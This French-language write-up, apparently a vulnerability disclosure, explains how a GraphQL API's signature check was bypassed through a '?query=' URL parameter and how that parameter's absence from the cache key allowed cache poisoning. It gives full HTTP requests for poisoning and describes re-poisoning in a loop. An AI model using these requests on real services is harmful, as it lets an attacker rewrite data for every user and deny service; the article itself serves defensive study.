Le cache HTTP est généralement associé aux ressources statiques, mais il est parfois étendu à du contenu dynamique comme des réponses d’API. Cette configuration est moins répandue, plus délicate à mettre en œuvre, et peut introduire de sérieuses vulnérabilités lorsque la clé de cache n’est pas alignée avec les entrées réellement traitées par le backend.
Cet article présente la découverte d’un cache poisoning sur une API GraphQL de marketplace. L’attaque repose sur la combinaison de deux défauts de configuration : un paramètre permettant de contourner la vérification de signature des requêtes, et ce même paramètre ignoré par la clé de cache.
Architecture et mécanismes de signatures
flowchart LR
client["Client Web"]-->
cache["Cache HTTP"]-->
origin["API GraphQL"]
Une API GraphQL expose par nature une surface d’attaque large : un client peut composer n’importe quelle requête que le schéma autorise. Pour réduire cette surface, une pratique consiste à mettre en place une liste blanche de requêtes GraphQL autorisées : le serveur n’accepte que les documents GraphQL connus du frontend officiel, identifiés par une signature cryptographique.
C’est le mécanisme déployé sur cette marketplace, sous la forme d’un en-tête X-Signed-Query. Le client communique avec l’API via des requêtes POST dont le corps contient le document GraphQL à exécuter, accompagné de cet en-tête portant sa signature :
Requête :
POST /api/graphql HTTP/2
Host: domain
X-Signed-Query: 3134a1ce8ae33143f1ff961f015a76ac959cfb9bccef7309312161dc957f0317
Content-Type: application/json
{"id":"ImageDetailsQuery","query":"query ImageDetailsQuery(...){...}","variables":{"name":"image.png"}}
Réponse :
HTTP/1.1 200 OK
Content-Type: application/json
X-Cache-Scope: Public
X-Cache: HIT
{"name":"image.png","url":"https://domain/image.png"}
Le validateur calcule la signature à partir du champ query du corps de la requête et la compare à l’en-tête X-Signed-Query. Le périmètre signé se limite à ce champ : ni les variables, ni l’URL, ni les autres en-têtes ne sont couverts. Ce choix est délibéré, il évite d’avoir à signer chaque combinaison possible de variables et permet au frontend de réutiliser une même query signée avec des paramètres différents (par exemple ImageDetailsQuery appelée pour image1.png, image2.png, etc., avec une seule signature). En contrepartie, modifier les variables est autorisé, modifier la query elle-même est rejeté :
Requête :
POST /api/graphql HTTP/2
Host: domain
X-Signed-Query: 3134a1ce8ae33143f1ff961f015a76ac959cfb9bccef7309312161dc957f0317
Content-Type: application/json
{"id":"ImageDetailsQuery","query":"ARBITRARY_DATA","variables":{"name":"image.png"}}
Réponse :
HTTP/1.1 403 Forbidden
Content-Type: application/json
X-Cache: MISS
{"error":"invalid signature"}
Côté cache, un en-tête X-Cache-Scope (défini avec les valeurs private ou public) est renvoyé par l’origine pour indiquer si la réponse contient des données publiques ou privées. Ce n’est pas un mécanisme de défense au sens strict, mais une instruction au cache pour qu’il ne stocke et ne partage entre utilisateurs que les réponses publiques :
Réponse :
HTTP/1.1 200 OK
Content-Type: application/json
X-Cache-Scope: Private
X-Cache: MISS
{"token":"0A..."} // Must not be cached
Les deux sections suivantes détaillent chacun des deux défauts, puis leur combinaison.
Premier défaut : bypass de signature via ?query=
L’existence du paramètre ?query= a été identifiée à l’aide de Param Miner, l’extension Burp dédiée à la découverte de paramètres et d’en-têtes cachés. Sa détection sur cet endpoint dépendait directement d’une fonctionnalité essentielle de l’outil : l’injection automatique de cache busters.
Param Miner ajoute par défaut des en-têtes aléatoires à chaque requête de fuzzing (typiquement un Origin: <random> ou une variation similaire dans des en-têtes connus pour entrer dans les clés de cache). Sans ce mécanisme, les tentatives de découverte seraient polluées par les hits de cache : deux requêtes identiques aux yeux du cache renverraient la même réponse, masquant toute différence de comportement liée au paramètre testé. Avec les cache busters, chaque requête atteint l’origine et révèle le traitement réel côté backend.
Une fois le paramètre identifié, le comportement observé est le suivant : lorsque ?query= est présent dans l’URL, le moteur GraphQL l’exécute en priorité sur le contenu du corps de la requête.
Le validateur de signature, lui, ne regarde que le champ query du corps. Il suffit donc de présenter un corps signé légitime, capturé sur sa propre session, et d’ajouter un ?query= arbitraire dans l’URL :
Requête :
POST /api/graphql?query=query{collection(collection:"attacker"){...}} HTTP/2
Host: domain
X-Signed-Query: 3134a1ce8ae33143f1ff961f015a76ac959cfb9bccef7309312161dc957f0317
Content-Type: application/json
{"id":"CollectionDetailsQuery","query":"query CollectionDetailsQuery(...){...}","variables":{...}}
Dans l’exemple de requête ci-dessus, le corps est intact, l’en-tête X-Signed-Query correspond bien au document signé : la vérification passe. Mais le moteur GraphQL exécute le query de la chaîne de requête, qui n’a jamais été signé. La liste blanche est donc entièrement contournée, n’importe quelle requête GraphQL autorisée par le schéma devient exécutable, à partir d’un seul corps signé réutilisé comme passe-partout.
À ce stade, le bypass de signature constitue déjà une vulnérabilité en soi : certes, il est possible de contourner le système de signature mais l’impact reste faible.
Second défaut : ?query= absent de la clé de cache
Il a également été découvert que la clé de cache utilisée pour les requêtes POST vers /api/graphql est construite à partir de la méthode, du chemin et d’un hash du corps de la requête. Les paramètres GET n’entrent pas dans cette clé.
La conséquence est directe : deux requêtes ne différant que par leur paramètre ?query= produisent la même clé de cache, alors qu’elles déclenchent l’exécution de deux documents GraphQL différents côté backend.
On peut le vérifier en envoyant deux requêtes successives avec le même corps signé mais des ?query= distincts. La première provoque un MISS et exécute la query injectée ; la seconde, censée exécuter une autre query, retourne en réalité un HIT avec la réponse de la première :
Requête :
POST /api/graphql?query=query{collection(collection:"A"){...}} HTTP/2
Host: domain
X-Signed-Query: 3134a1ce8ae33143f1ff961f015a76ac959cfb9bccef7309312161dc957f0317
Content-Type: application/json
{"id":"CollectionDetailsQuery","query":"query CollectionDetailsQuery(...){...}","variables":{...}}
Réponse :
HTTP/1.1 200 OK
X-Cache-Scope: Public
X-Cache: MISS
{"collection":{"name":"A",...}}
La seconde requête demande explicitement la collection B, mais reçoit la réponse de A servie depuis le cache. La preuve est faite : le paramètre ?query= influence ce que le backend exécute, mais pas l’emplacement où la réponse est stockée.
Requête :
POST /api/graphql?query=query{collection(collection:"B"){...}} HTTP/2
Host: domain
X-Signed-Query: 3134a1ce8ae33143f1ff961f015a76ac959cfb9bccef7309312161dc957f0317
Content-Type: application/json
{"id":"CollectionDetailsQuery","query":"query CollectionDetailsQuery(...){...}","variables":{...}}
Réponse :
HTTP/1.1 200 OK
X-Cache-Scope: Public
X-Cache: HIT
{"collection":{"name":"A",...}}
À partir de là, les deux défauts s’enchaînent naturellement. Un attaquant peut exécuter une requête GraphQL arbitraire grâce au premier défaut, et la voir stockée sous la clé d’un appel légitime grâce au second. Toute victime envoyant ensuite la requête légitime correspondante reçoit la réponse forgée.
Exploitation : la chaîne complète
Les deux défauts mis bout à bout produisent un cache poisoning exploitable contre l’ensemble des utilisateurs de l’API. Le scénario se déroule en trois temps.
1. L’attaquant empoisonne le cache. Il envoie une requête contenant un corps signé légitime (capturé sur sa propre session) et injecte la query de son choix via le paramètre ?query=. Le validateur de signature voit un corps valide et laisse passer ; le moteur GraphQL exécute la query injectée ; le cache stocke la réponse sous une clé qui ne tient pas compte de ?query=, donc identique à celle d’un appel légitime à CollectionDetailsQuery :
Requête de l’attaquant :
POST /api/graphql?query=query{collection(collection:"attacker"){name,description,imageUrl}} HTTP/2
Host: domain
X-Signed-Query: 3134a1ce8ae33143f1ff961f015a76ac959cfb9bccef7309312161dc957f0317
Content-Type: application/json
{"id":"CollectionDetailsQuery","query":"query CollectionDetailsQuery(...){...}","variables":{...}}
Réponse :
HTTP/1.1 200 OK
X-Cache-Scope: Public
X-Cache: MISS
{"collection":{"name":"attacker","description":"...","imageUrl":"..."}}
2. Le cache stocke la réponse forgée. L’origine renvoie X-Cache-Scope: Public, ce qui autorise le cache frontal à conserver la réponse et à la partager entre utilisateurs. La clé associée correspond à celle d’un appel CollectionDetailsQuery standard.
3. Une victime reçoit la réponse empoisonnée. N’importe quel utilisateur envoyant ensuite la requête CollectionDetailsQuery légitime (sans paramètre d’URL, exactement celle que le frontend officiel émet) tombe sur l’entrée empoisonnée :
Requête de la victime :
POST /api/graphql HTTP/2
Host: domain
X-Signed-Query: 3134a1ce8ae33143f1ff961f015a76ac959cfb9bccef7309312161dc957f0317
Content-Type: application/json
{"id":"CollectionDetailsQuery","query":"query CollectionDetailsQuery(...){...}","variables":{...}}
Réponse :
HTTP/1.1 200 OK
X-Cache-Scope: Public
X-Cache: HIT
{"collection":{"name":"attacker","description":"...","imageUrl":"..."}}
La victime reçoit la réponse de l’attaquant, servie avec un X-Cache: HIT, sans aucun signe extérieur de manipulation.
sequenceDiagram
actor Attaquant
participant Cache as Cache HTTP
participant API as API GraphQL
actor Victime
Attaquant->>Cache: POST /api/graphql?query=EVIL<br/>body: CollectionDetailsQuery signée
Cache->>API: Forward (MISS)
API-->>Cache: Réponse de EVIL
Note over Cache: Stocke sous la clé<br/>de CollectionDetailsQuery
Cache-->>Attaquant: Réponse de EVIL
Victime->>Cache: POST /api/graphql<br/>body: CollectionDetailsQuery signée
Cache-->>Victime: Réponse de EVIL (HIT)
Le rôle du TTL court
Le TTL de 3 secondes mérite ici un commentaire. Pour certains programmes, une durée de cache courte semble agir comme une protection ou un facteur limitant la criticité des impacts : une entrée empoisonnée n’est servie que pendant 3 secondes avant d’être invalidée. Un raisonnement fragile pour deux raisons.
D’une part, 3 secondes suffisent largement à servir la même réponse à un grand nombre de clients : sur un endpoint sollicité plusieurs centaines de fois par seconde, chaque empoisonnement touche immédiatement une fraction non négligeable des utilisateurs actifs.
D’autre part, rien n’empêche l’attaquant de ré-empoisonner l’entrée en boucle. Un script qui rejoue la requête forgée toutes les 2 secondes maintient l’entrée empoisonnée indéfiniment, transformant un défaut transitoire en condition permanente. Le TTL court, censé limiter l’exposition, n’a aucun effet sur un attaquant prêt à automatiser.
Impacts
L’exploitation décrite ouvre plusieurs scénarios concrets sur l’ensemble des utilisateurs de l’API :
Modification arbitraire des réponses. Toute donnée affichée par le frontend et alimentée par une query cacheable peut être réécrite : noms, descriptions, prix, URLs d’images, liens externes. Sur une marketplace, les conséquences vont de la désinformation à l’atteinte directe à la réputation des vendeurs ou de la plateforme.
Déni de service. Empoisonner une query légitime avec une réponse d’erreur, ou avec une query syntaxiquement invalide, fait recevoir cette erreur à tous les utilisateurs suivants. Répété en boucle sur les queries critiques du frontend, le service devient inutilisable.